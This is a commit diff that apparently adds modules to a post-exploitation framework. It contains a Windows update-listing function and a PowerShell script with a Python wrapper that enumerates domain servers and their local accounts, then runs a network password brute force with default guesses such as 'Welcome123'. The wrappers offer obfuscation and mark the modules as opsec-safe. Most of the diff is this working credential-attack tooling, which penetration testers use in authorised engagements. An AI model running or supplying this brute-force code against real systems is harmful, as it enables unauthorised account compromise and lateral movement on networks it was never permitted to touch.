Fixed conflict
commit
119aa873b8
|
@ -0,0 +1,62 @@
|
|||
Function Get-WinUpdates
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer. Requires administrative level access.
|
||||
|
||||
.PARAMETER ComputerName
|
||||
A description of the ComputerName parameter.
|
||||
|
||||
.EXAMPLE
|
||||
Get-WinUpdates -ComputerName "localhost"
|
||||
|
||||
.EXAMPLE
|
||||
Get-Content computers.txt | Get-WinUpdates | Format-Table PC,Date,Operation,Status,Title,KB,PC -Wrap -auto
|
||||
|
||||
.NOTES
|
||||
Get-WinUpdates gets a list of Windows and Microsoft Updates installed on the computer.
|
||||
Based on Get-InstalledUpdates https://github.com/Kreloc
|
||||
M.Hartsuijker - Classity - Modified to include pending updates
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(position=0,Mandatory = $False,ValueFromPipeline =
|
||||
$true,ValueFromPipelinebyPropertyName=$true)][Alias('Name')]
|
||||
$ComputerName = $env:computername
|
||||
)
|
||||
Begin
|
||||
{
|
||||
function Test-ElevatedShell
|
||||
{
|
||||
$user = [Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
|
||||
}
|
||||
$admin = Test-ElevatedShell
|
||||
}
|
||||
PROCESS
|
||||
{
|
||||
If($admin)
|
||||
{
|
||||
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Update.Session') | Out-Null
|
||||
$Session = [activator]::CreateInstance([type]::GetTypeFromProgID("Microsoft.Update.Session",$ComputerName))
|
||||
$Searcher = $Session.CreateUpdateSearcher()
|
||||
$historyCount = $Searcher.GetTotalHistoryCount()
|
||||
$Searcher.QueryHistory(0, $historyCount) | Select-Object Date,
|
||||
@{name="Operation"; expression={switch($_.operation){
|
||||
1 {"Installation"}; 2 {"Uninstallation"}; 3 {"Other"}}}},
|
||||
@{name="Status"; expression={switch($_.resultcode){
|
||||
0 {"Not started"}; 1 {"In Progress"}; 2 {"Succeeded"}; 3 {"Succeeded With Errors"};
|
||||
4 {"Failed"}; 5 {"Aborted"}
|
||||
}}}, Title,@{name="KB"; expression={($_.title -split "(KB*.*)")[1]}},@{name="PC";expression={$ComputerName}}
|
||||
$Updates = @($Searcher.Search("IsHidden=0 and IsInstalled=0").Updates)
|
||||
$Updates | Select-Object @{name="Date";expression={"Blank"}},@{name="Operation";expression={"Other"}},@{name="Status";expression={"Pending"}},Title,@{name="PC";expression={$ComputerName}}
|
||||
}
|
||||
else
|
||||
{
|
||||
"Please re-load this function in a Run as Administrator PowerShell console."
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,182 @@
|
|||
#requires -Version 2.0
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Query for and brute force users on local (member) servers.
|
||||
.DESCRIPTION
|
||||
Use this script to query the local users of a member server (using known credentials, such as domain credentials) and to brute force the accounts using your own password list.
|
||||
.EXAMPLE
|
||||
C:\PS> C:\temp\Get-and-Brute-LocalAccount.ps1
|
||||
.NOTES
|
||||
Author : Maarten Hartsuijker - @classityinfosec
|
||||
#>
|
||||
function Fetch-Brute
|
||||
{
|
||||
|
||||
Param
|
||||
(
|
||||
[Parameter(Position=0,Mandatory=$false)]
|
||||
[ValidateNotNullorEmpty()]
|
||||
[Alias('cn')][String[]]$ComputerName=$Env:COMPUTERNAME,
|
||||
[Parameter(Position=1,Mandatory=$false)]
|
||||
[Alias('un')][String[]]$AccountName,
|
||||
[Parameter(Position=2,Mandatory=$false)]
|
||||
[Alias('vbose')][String[]]$vbse,
|
||||
[Parameter(Position=3,Mandatory=$false)]
|
||||
[Alias('lacc')][String]$loginacc,
|
||||
[Parameter(Position=4,Mandatory=$false)]
|
||||
[Alias('lpass')][String]$loginpass,
|
||||
[Parameter(Position=5,Mandatory=$false)]
|
||||
[Alias('pl')][string[]]$passlist,
|
||||
[Parameter(Position=6,Mandatory=$false)]
|
||||
[Alias('st')][String[]]$servertype
|
||||
)
|
||||
|
||||
# Create login credentials if account and password have been specified
|
||||
if ($loginacc -and $loginpass) {
|
||||
$secpasswd = ConvertTo-SecureString $loginpass -AsPlainText -Force
|
||||
$Credential = New-Object System.Management.Automation.PSCredential ($loginacc, $secpasswd)
|
||||
}
|
||||
|
||||
# defining some variables
|
||||
if (!$servertype) { $objecttype="Window*Server*" } else { $objecttype=$servertype }
|
||||
$foundpwd = 0
|
||||
$verbose="$vbse"
|
||||
|
||||
# fetching servers in domain within the defined scope (server types)
|
||||
$lijst = New-Object System.Collections.ArrayList
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$objSearcher.Filter = "(OperatingSystem=$objecttype)"
|
||||
"Name","canonicalname","distinguishedname" | Foreach-Object {$null = $objSearcher.PropertiesToLoad.Add($_) }
|
||||
$hostlijst = $objSearcher.FindAll() | Select-Object @{n='Name';e={$_.properties['name']}} | select -expandproperty name -first 2
|
||||
Write-Output "Discovered hosts: $hostlijst"
|
||||
|
||||
# Get the accounts with each server, using available credentials
|
||||
foreach ($hostname in $hostlijst) {
|
||||
if ($verbose) {Write-Output "Fetching accounts for: $hostname"}
|
||||
$AllLocalAccounts="";
|
||||
$accnaam = "";
|
||||
$adsihit=0
|
||||
$Obj = @()
|
||||
|
||||
# Query for local users using WMI (faster than ADSI)
|
||||
If($Credential)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ($verbose) {Write-Output "Try WMI using credentialed"}
|
||||
$AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
|
||||
-Filter "LocalAccount='$True'" -ComputerName $hostname -Credential $Credential -ErrorAction Stop
|
||||
}
|
||||
catch
|
||||
{ if ($verbose) {Write-Output "WMI supplied credentialled error"} }
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
if ($verbose) {Write-Output "Try WMI using agent credentials"}
|
||||
$AllLocalAccounts = Get-WmiObject -Class Win32_UserAccount -Namespace "root\cimv2" `
|
||||
-Filter "LocalAccount='$True'" -ComputerName $hostname -ErrorAction SilentlyContinue
|
||||
}
|
||||
catch
|
||||
{ if ($verbose) {Write-Output "WMI agent credentials error"} }
|
||||
}
|
||||
if ($AllLocalAccounts) { if ($verbose) {Write-Output "WMI accounts found: $AllLocalAccounts"} }
|
||||
|
||||
# sometimes, ADSI is available, where WMI isn't. ADSI will try using the user the empire agent is running as
|
||||
if (!$AllLocalAccounts)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ($verbose) {Write-Output "Retry using ADSI (agent credentials)"}
|
||||
$adsihit = 1
|
||||
$adsi = [ADSI]"WinNT://$hostname"
|
||||
$AllLocalAccounts = $adsi.psbase.children | where {$_.psbase.schemaClassName -match "user"} | select @{n="Name";e={$_.name}} |Select-Object -ExpandProperty Name
|
||||
if ($verbose) {$AllLocalAccounts}
|
||||
}
|
||||
catch
|
||||
{ if ($verbose) {Write-Output "ADSI Error"} }
|
||||
|
||||
}
|
||||
|
||||
Foreach($LocalAccount in $AllLocalAccounts)
|
||||
{
|
||||
# Don't include disabled and locked accounts (todo when using ADSI)
|
||||
if (($LocalAccount.Disabled -Match "False") -and ($LocalAccount.Lockout -Match "False") -and ($adsihit -Match 0))
|
||||
{
|
||||
$accnaam = $LocalAccount.Name
|
||||
$lijst.add($hostname+":"+$accnaam)
|
||||
}
|
||||
Elseif ($adsihit -gt 0)
|
||||
{
|
||||
$accnaam = $LocalAccount
|
||||
$noout = $lijst.add($hostname+":"+$accnaam)
|
||||
}
|
||||
Else
|
||||
{ continue }
|
||||
}
|
||||
}
|
||||
|
||||
# Start Brute force
|
||||
$hostcounter = $hostlijst.Count
|
||||
$acccounter = $lijst.Count
|
||||
Write-Output "Starting Brute Force for $hostcounter hosts and $acccounter accounts"
|
||||
|
||||
If($lijst)
|
||||
{
|
||||
Foreach($hit in $lijst)
|
||||
{
|
||||
$hname,$uname = $hit.split(':')
|
||||
|
||||
# Connect to machine
|
||||
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
|
||||
$contextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
|
||||
Try
|
||||
{
|
||||
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $hname)
|
||||
$success = $true
|
||||
}
|
||||
Catch
|
||||
{
|
||||
$message = "Unable to contact Host"
|
||||
$success = $false
|
||||
}
|
||||
|
||||
# If connected... Try passwords from the array
|
||||
if($success -ne $false)
|
||||
{
|
||||
foreach ($password in $passlist)
|
||||
{
|
||||
Try
|
||||
{
|
||||
Write-Verbose "Checking $uname : $password (then sleeping for 1 seconds)"
|
||||
$success = $principalContext.ValidateCredentials($uname, $password)
|
||||
$message = "Password Match"
|
||||
if ($success -eq $true)
|
||||
{
|
||||
Write-Output "Match found! $uname : $password"
|
||||
$foundpwd++
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($verbose) { Write-Output "NO $hname - $uname : $password" }
|
||||
}
|
||||
}
|
||||
Catch
|
||||
{
|
||||
$success = $false
|
||||
$message = "Password doesn't match"
|
||||
}
|
||||
Start-Sleep -Seconds 0.1
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($verbose) { Write $message }
|
||||
}
|
||||
}
|
||||
}
|
||||
Write-Output "Found $foundpwd valid credentials"
|
||||
|
||||
}
|
|
@ -0,0 +1,109 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'Get Microsoft Updates',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['Maarten Hartsuijker','@classityinfosec'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('This module will list the Microsoft update history, including pending updates, of the machine'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : True,
|
||||
|
||||
# True if we're saving the output as a file
|
||||
'SaveOutput' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': [
|
||||
'Have fun'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to run the module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
# The 'ComputerName' option defaults to localhost but is adjustable
|
||||
'Description' : 'The ComputerName this agents user has admin access to that must be queried for updates',
|
||||
'Required' : True,
|
||||
'Value' : 'localhost'
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'Path to Output File',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
|
||||
computername = self.options['ComputerName']['Value']
|
||||
print helpers.color("[+] Querying: " + str(computername))
|
||||
|
||||
|
||||
# if you're reading in a large, external script that might be updates,
|
||||
# use the pattern below
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-WinUpdates.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
scriptEnd = " Get-WinUpdates"
|
||||
scriptEnd += " -ComputerName "+computername
|
||||
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
script += scriptEnd
|
||||
return script
|
|
@ -0,0 +1,142 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'Fetch local accounts on a member server and perform an online brute force attack',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['Maarten Hartsuijker','@classityinfosec'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('This module will logon to a member server using the agents account or a provided account, fetch the local accounts and perform a network based brute force attack.'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : True,
|
||||
|
||||
# True if we're saving the output as a file
|
||||
'SaveOutput' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': [
|
||||
'Inspired by Xfocus X-Scan. Recent Windows versions won\'t allow you to query userinfo using regular domain accounts, but on 2003/2008 member servers, the module might prove to be useful.'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to run the module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Loginacc' : {
|
||||
# The 'Loginacc' is used to logon with alternate credentials
|
||||
'Description' : 'Allows you to query the servers using credentials other than the credentials the agent is running as',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Loginpass' : {
|
||||
# The 'Loginpass' comes with Loginacc
|
||||
'Description' : 'The password that comes with Loginacc',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ServerType' : {
|
||||
# The 'ServerType' option allows you to narrow down the scope. It defaults to all windows servers
|
||||
'Description' : 'Allows you to narrow down the scope. It defaults to all windows servers.',
|
||||
'Required' : False,
|
||||
'Value' : 'Window*Server*'
|
||||
},
|
||||
'Passlist' : {
|
||||
# The 'Passlist' option allows you to specify the passwords you want to test
|
||||
'Description' : 'Comma seperated password list that should be tested against each account found',
|
||||
'Required' : True,
|
||||
'Value' : 'Welcome123,Password01,Test123!,Welcome2018'
|
||||
},
|
||||
'Verbose' : {
|
||||
# The 'Verbose' option returns more query results
|
||||
'Description' : 'Want to see failed logon attempts? And found users? Set this to any value.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
|
||||
Passlist = self.options['Passlist']['Value']
|
||||
Verbose = self.options['Verbose']['Value']
|
||||
ServerType = self.options['ServerType']['Value']
|
||||
Loginacc = self.options['Loginacc']['Value']
|
||||
Loginpass = self.options['Loginpass']['Value']
|
||||
print helpers.color("[+] Initiated using passwords: " + str(Passlist))
|
||||
|
||||
|
||||
# if you're reading in a large, external script that might be updates,
|
||||
# use the pattern below
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Fetch-And-Brute-Local-Accounts.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
scriptEnd = " Fetch-Brute"
|
||||
if len(ServerType) >= 1:
|
||||
scriptEnd += " -st "+ServerType
|
||||
scriptEnd += " -pl "+Passlist
|
||||
if len(Verbose) >= 1:
|
||||
scriptEnd += " -vbse "+Verbose
|
||||
if len(Loginacc) >= 1:
|
||||
scriptEnd += " -lacc "+Loginacc
|
||||
if len(Loginpass) >= 1:
|
||||
scriptEnd += " -lpass "+Loginpass
|
||||
|
||||
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
script += scriptEnd
|
||||
print helpers.color("[+] Command: " + str(scriptEnd))
|
||||
return script
|
|
@ -79,16 +79,16 @@ function install_powershell() {
|
|||
#Kali Linux
|
||||
if cat /etc/lsb-release | grep -i 'Kali'; then
|
||||
# Install prerequisites
|
||||
apt-get install -y curl gnupg apt-transport-https
|
||||
# Import the public repository GPG keys
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
||||
# Register the Microsoft Product feed
|
||||
sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
|
||||
# Update the list of products
|
||||
apt-get update
|
||||
# Install PowerShell
|
||||
apt-get install -y powershell
|
||||
fi
|
||||
apt-get install -y curl gnupg apt-transport-https
|
||||
# Import the public repository GPG keys
|
||||
curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
|
||||
# Register the Microsoft Product feed
|
||||
sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list'
|
||||
# Update the list of products
|
||||
apt-get update
|
||||
# Install PowerShell
|
||||
apt-get install -y powershell
|
||||
fi
|
||||
fi
|
||||
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
|
||||
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
|
||||
|
|
Loading…
Reference in New Issue